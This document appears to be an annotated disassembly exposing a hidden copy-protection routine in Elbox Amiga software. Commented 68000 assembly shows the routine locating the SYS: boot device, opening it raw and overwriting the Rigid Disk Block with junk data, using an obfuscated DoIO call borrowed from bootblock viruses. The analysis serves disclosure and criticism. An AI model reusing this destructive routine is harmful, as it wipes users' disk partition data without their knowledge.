ELBOXprotection TST.L (MagicNumber,PC) BEQ.W .quit MOVEM.L A2-A6,-(SP) ; protection starts here MOVEA.L (4).W,A6 ; execbase to a6 ;[1] ; ; Read CIAA Timer B low byte ($BFE601) and if lower 4 bits are ; zero, leave now. This add some random element to the trigger ; condition, so it's harder to screen the cause of the RDB trash ; by problem isolation. This already suggests that something ; nasty is about to happen later... ; MOVE.B ($BFE601).L,D0 ANDI.B #15,D0 BEQ.W .leave MOVEQ #27,D0 LEA (doslibrary.MSG,PC),A1 JSR (_LVOOpenLibrary,A6) ; open dos.library TST.L D0 BEQ.W .leave ;[2] ; ; Here the code scan the DOSBase DosList for SYS: assign. It will ; keep the handler process name (task LN_NAME), for locating the ; device node later... ; MOVEA.L D0,A5 ; examining DOSBase JSR (_LVOForbid,A6) MOVEA.L (dl_Root,A5),A0 MOVEA.L (rn_Info,A0),A0 ; getting the Info structure ADDA.L A0,A0 ADDA.L A0,A0 LEA (di_DevInfo,A0),A0 ; getting the Device List MOVEQ #DLT_DIRECTORY,D1 ; look for SYS: which is an assign .next MOVE.L (dl_Next,A0),D0 ; walk down the list until it's found BEQ.W .permit ; end of list, not found LSL.L #2,D0 MOVEA.L D0,A0 CMP.L (dvi_Type,A0),D1 ; is that an assign ? BNE.B .next ; no, continue walking the list MOVEA.L (dol_Name,A0),A1 ; yes, get its name ADDA.L A1,A1 ADDA.L A1,A1 CMPI.L #($03<<24)|'SYS',(A1) ; is it the SYS: boot device ? BNE.B .next ; no, continue walking MOVEA.L (dol_Task,A0),A1 ; yes it is MOVEA.L (MP_SIGTASK,A1),A1 ; now find out the device name MOVEA.L (LN_NAME,A1),A1 ; keeping the devicename there ;[3] ; ; Here the code scan DOSBase DosList again, now locating the ; DeviceNode of the SYS: handler located above. DeviceNode is needed ; because its' dvi_Startup [BPTR to struct FileSysStartupMsg] contain ; the necessary information for opening the device directly with ; OpenDevice(). ; MOVEA.L (dl_Root,A5),A0 MOVEA.L (rn_Info,A0),A0 ADDA.L A0,A0 ADDA.L A0,A0 LEA (di_DevInfo,A0),A0 MOVEQ #DLT_DEVICE,D1 ; walk down the device list .nextdevice MOVE.L (A0),D0 BEQ.W .permit LSL.L #2,D0 MOVEA.L D0,A0 CMP.L (dol_Type,A0),D1 ; is that a device ? BNE.B .nextdevice ; no, continue walking the list MOVEM.L A0/A1,-(SP) MOVEA.L (dl_Name,A0),A0 ; ok, there's the name of the device ADDA.L A0,A0 ADDA.L A0,A0 ADDQ.L #1,A0 .cmpdevname MOVE.B (A1)+,D0 ; compare with the devicename kept before CMP.B (A0)+,D0 BEQ.B .cmpdevnameok MOVEM.L (SP)+,A0/A1 BRA.B .nextdevice .cmpdevnameok TST.B D0 ; end of the string? BNE.B .cmpdevname ; no, compare more ;[4] ; ; Ok. Matching DeviceNode was found, now open the device directly ; with OpenDevice for RAW block access. ; JSR (_LVOPermit,A6) ; ok, it's the right device MOVEM.L (SP)+,A0/A1 MOVEA.L (dvi_Startup,A0),A3 ; get fssm ADDA.L A3,A3 ADDA.L A3,A3 JSR (_LVOCreateMsgPort,A6) ; create a MsgPort TST.L D0 BEQ.W .forbid MOVEA.L D0,A0 MOVEA.L D0,A2 MOVEQ #IOSTD_SIZE,D0 JSR (_LVOCreateIORequest,A6) ; create an IORequest TST.L D0 BEQ.W .delmsgport MOVEA.L D0,A4 MOVE.L (fssm_Unit,A3),D0 ; put the unit MOVEQ #0,D1 ; flags = 0 MOVEA.L (fssm_Device,A3),A0 ; put the name ADDA.L A0,A0 ADDA.L A0,A0 ADDQ.L #1,A0 MOVEA.L A4,A1 ; ioreq JSR (_LVOOpenDevice,A6) ; open the device TST.L D0 ; succeeded? BNE.B .deliorequest ; failed, bail out ; ; Device opened ok, get some temporary storage. ; MOVE.L #512,D0 ; one block, size of RDB root block MOVEQ #MEMF_PUBLIC,D1 JSR (_LVOAllocMem,A6) ; allocate a 512 bytes buffer TST.L D0 BEQ.B .closedevice ;[5] ; ; This code ensures there really is a RDB to trash. However, this ; routine is buggy, it doesn't scan all first 16 blocks like it ; should. Elbox can fix that for their next version >:) ; Now RDB is only trashed if it's localed at offset 0 ; (unfortunately, most of the time RDB is there). ; MOVEA.L D0,A3 MOVEA.L A4,A1 MOVE.W #CMD_READ,(IO_COMMAND,A1) MOVE.L D0,(IO_DATA,A1) MOVE.L #512,(IO_LENGTH,A1) ; io_Length = 512 bytes CLR.L (IO_OFFSET,A1) ; io_Offset = 0, which is block 0 which usually contains the RDB ;[6] ; ; Code like this was commonly used in bootblock viruses that tried to ; hide OS calls from heuristics routines. (You can't find ; JSR (_LVODoIO,a6) bit pattern). ; MOVEA.L A6,A0 SUBA.L #$1C8,A0 JSR (A0) ; call DoIO(), fill in that buffer CMPI.L #'RDSK',(A3) ; make sure it's a RDB BNE.B .freeblockmem CLR.L (A3) ; this makes no sense at all. the same block is not written back ;[7] ; ; This is the evil part. It overwrite the first 512 bytes at offset 0 ; with random data, erasing the RDB. ; MOVEA.L A4,A1 MOVE.W #CMD_WRITE,(IO_COMMAND,A1) MOVE.L A0,(IO_DATA,A1) ; write random data, whatever is pointed by a0 MOVE.L #512,(IO_LENGTH,A1) CLR.L (IO_OFFSET,A1) MOVEA.L A6,A0 SUBA.L #$1C8,A0 JSR (A0) ; call DoIO()! the RDB is overwritten with random data! ;[8] ; ; Rest of the code is uninteresting cleanup stuff. ; .freeblockmem MOVEA.L A3,A1 MOVE.L #512,D0 JSR (_LVOFreeMem,A6) .closedevice MOVEA.L A4,A1 JSR (_LVOCloseDevice,A6) .deliorequest MOVEA.L A4,A0 JSR (_LVODeleteIORequest,A6) .delmsgport MOVEA.L A2,A0 JSR (_LVODeleteMsgPort,A6) .forbid JSR (_LVOForbid,A6) .permit JSR (_LVOPermit,A6) MOVEA.L A5,A1 JSR (_LVOCloseLibrary,A6) .leave MOVEM.L (SP)+,A2-A6 .quit